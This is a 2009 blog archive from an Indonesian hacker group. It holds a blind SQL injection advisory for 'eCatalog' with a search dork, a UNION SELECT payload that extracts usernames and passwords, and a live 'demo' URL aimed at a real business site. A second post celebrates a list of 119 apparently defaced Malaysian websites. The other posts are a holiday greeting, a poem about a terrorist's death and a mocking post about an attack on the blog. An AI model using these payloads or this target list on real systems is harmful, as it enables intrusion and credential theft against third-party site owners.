Archive for September 2009

eCatalog [MalingSial CMS] – Blind SQL Injection Vulnerability

————————————————————————————————————————————————————-

Author          : YaDoY666

Contact         : YaDoY666[a]ServerIsDown[dot]Org

Group            : ServerIsDown

Date              : September 27th, 2009

————————————————————————————————————————————————————-

[-]  Dork

[+] “catalog/details.asp?id=” or use your own keyword

[-] Exploit

[+]  details.asp?id=[id]+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] POC

http://127.0.0.1/catalog/details.asp?id=706+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] Demo Live

http://www.honourfurniture.com.my/catalog/details.asp?id=771+union+select 1,2,3,4,5,6,username,8,9,10,11,12,13,password from user

[-] Greetz

Jack-, Don Tukuleso, XShadow, Kecemplungkalen, v3nom, indounderground, mistersaint, m3g4tr0n, gblack, miya666, ServerIsDown, Mainhack Brotherhood, Indonesian Coder, You.

- Proud To Be Indonesian -

[*] Cepet sembuh yah mi, Luph you always [*]

  • Share/Bookmark

Selamat Hari Raya Idul Fitri 1430H

Assallammualaikum Wr Wb.

Dengan kerendahan hati, mohon dibukakan pintu maaf yang sebesar-besarnya untuk kami. Selamat hari raya idul fitri 1430H. Semoga kita senantiasa dalam lindungan Allah SWT.

- ServerIsDown & Mainhack Brotherhood -

  • Share/Bookmark

Kembalikan Noordin M Top ke asalnya

Semua luka itu masih terasa
Semua luka itu masih membekas Semua luka itu belum mengering
Semua luka itu belum hilang dari Dari hati kami, hati bangsa Indonesia

Beberapa waktu yang lalu kau hancurkan gedung-gedung dinegara kami
Beberapa waktu yang lalu kau hancurkan fasilitas yang kami bangun dengan keringat dan air mata
Beberapa waktu yang lalu kau sakiti saudara-saudara kami
Beberapa waktu yang lalu kau bunuh saudara-saudara kami

Kau telah menghancurkan semuanya Kau telah merusak bangsa kami dengan teror bom mu
Kau telah pengaruhi saudara kami untuk menyakiti saudaranya sendiri Kau telah merusak citra negara kami sebagai negara yang aman.

Kini engkau telah mati, Kini engkau telah kehilangan ragamu
Kini engkau telah menghadapnya ditangan bom yang kau rakit
Kini engkau harus pertanggung jawabkan semua kejahatan yang telah engkau lakukan

Hey Noordin, Kematianmu tidaklah cukup untuk mengobati luka-luka dihati ini
Hey Noordin, Kematianmu tidaklah cukup untuk membalaskan semua dendam kami

Semoga tidak ada lagi orang kejam seperti mu didunia ini
Jikapun ada kami segenap bangsa indonesia siap menghadapi orang-orang laknat sepertimu
Kami bangsa yang besar, kami tidak akan pernah takut atas semua teror mu itu.

mtop

Dedicated To Indonesia,

1. http://suhz.net
2. http://lumina.com.my
3. http://www.alamtimur.com.my
4. http://www.anchorlink.com.my
5. http://www.ryjia.com.my
6. http://www.plischasia.com
7. http://www.konpro-group.com
8. http://www.pentateknik.com.my
9. http://www.crafsmy.com
10. http://www.ao.com.my
11. http://brimalstampress.com
12. http://www.ysegroup.com
13. http://easypack.com.my
14. http://www.rayaco.com.my
15. http://ccssb.com
16. http://www.impiantekad.com
17. http://www.houghton.com.my
18. http://chrla.net
19. http://jiahuahang.com
20. http://amaireauto.com
21. http://www.acmecom.com
22. http://ce-products.com
23. http://www.zainalcanopy.com
24. http://malaysian-express.com
25. http://www.tempcool.com.my
26. http://www.astroace.com.my
27. http://www.malimperformance.com
28. http://www.alamigroup.com
29. http://malimperformance.com
30. http://www.tomahawk-ind.com
31. http://arinexmy.com
32. http://www.cekaptera.com
33. http://berjayasewerage.com
34. http://www.ksridhammananda.com
35. http://www.ebiza.com.my
36. http://www.air-blowers.com.my
37. http://express-marble.com
38. http://chungmeng.com
39. http://www.immanex.com
40. http://www.aanetwork.info
41. http://www.slhc.com.my
42. http://www.jim.com.my
43. http://www.mes-online.com.my
44. http://www.dav.com.my
45. http://www.de-tag.com
46. http://acmecom.com
47. http://www.eceylinco.com
48. http://perfectmetal.com
49. http://www.ctflogistics.com
50. http://www.fluidsystems.com.my
51. http://www.astrauniforms.com
52. http://www.exxo.com.my
53. http://www.cellotron.com.my
54. http://www.ceylincoseylandevelopments.com
55. http://dtm.com.my
56. http://www.cannergy.com.my
57. http://www.intestmal.com
58. http://smartdor.com
59. http://www.frangipaniflora.com.my
60. http://eceydata.com
61. http://www.coolcare.biz
62. http://www.perfectmetal.com
63. http://ebathroom.com.my
64. http://www.kampat.com.my
65. http://royalcollegegroupof70.org
66. http://www.tyden.com.my
67. http://www.tobalidockyard.com
68. http://www.casa-impian.com
69. http://www.astrauniforms.com.my
70. http://www.cablestore.com.my
71. http://faacorp.com
72. http://brglobal.com
73. http://www.formahero.com.my
74. http://www.cissacom.com
75. http://www.easypack.com.my
76. http://signvec.com
77. http://www.cambridgetech.com.my
78. http://quantumatic-automation.com
79. http://www.eepro.com.my
80. http://www.slumberland.com.sg
81. http://fluidsystems-fssb.com
82. http://www.segarasia.com
83. http://www.greenyield.com.my
84. http://www.fitness.com.my
85. ctflogistics.com
86. http://www.people-station.com
87. http://www.eceyms.info
88. http://natural-country.com
89. http://www.cann.com.my
90. http://www.eepo.com.my
91. http://hulsmalaysia.com
92. http://www.brimalstampress.com
93. http://astrauniforms.com
94. http://intestmal.com
95. http://erlatech.com
96. http://www.senstech.com.my
97. http://www.allstartravel.com.my
98. http://flushngo.com
99. http://karmakarya.my
100.http://www.halal-world.com
101. http://www.ig.upm.edu.my/
102. http://foobeeveneer.com.my/
103. http://datiwellness.com.my/
104. http://www.sensepi.com/
105. http://yangshengong.com.my/
106. http://precioustime123.com/
107. http://lead2u.com.my/
108. http://www.malaysiaworms.com/
109. http://www.penternakanlintah.com/
110. http://www.wormbreeder.com/
111. http://www.eelmalaysia.com/
112. http://www.cacingmalaysia.com/
113. http://www.ternakancacing.com
114. http://www.malaysiabelut.com/
115. http://www.cacingmerah.com/
116. http://www.caci gjohor.com/
117. http://www.wormsbreeding.com
118. http://www.malaysiacacing.com
119. http://www.cacingkompos.com

Thanks to

Xshadow, inc0mp13te, Bi4kKob4r, PsyChotr0n, ju4ra, Jack-, Yadoy666, Gblack, IndoUnderground, Laharisi, t3cm4n, Cyber_Tomat, SasaIndahoz, MainHack brotherhood, ABC crew, SarkemHackerlink, Xcode, Jasakom, Kaskus, #IndonesiaUnite, Densus88, YOU!!

  • Share/Bookmark

Help me, Im under attack

Help me, Im under attack…

Sure, Im not kidding im under attack, Some one tryin to fuck me with stupid lamer action who just copy & paste all exploit from our security websites like milw0rm. Hahahahaha…

Take a look this one,

mail

When im tryin to find location of this ip and i found this attack from malingsial.  Wew, maling tryin to attack me, are you kidding maling?

ip2location

map

When read the allert from wp firewall i found some stupid maling action, why stupid? Yeah sure, maling is very stupid.  Everyone know my blog use worpress but why you use Joomla Exploit to attack me, lol

This is the fact, maling just copy and paste exploit without knowing for what that exploit. lol

Malingsial is really moron right… hahahaha

  • Share/Bookmark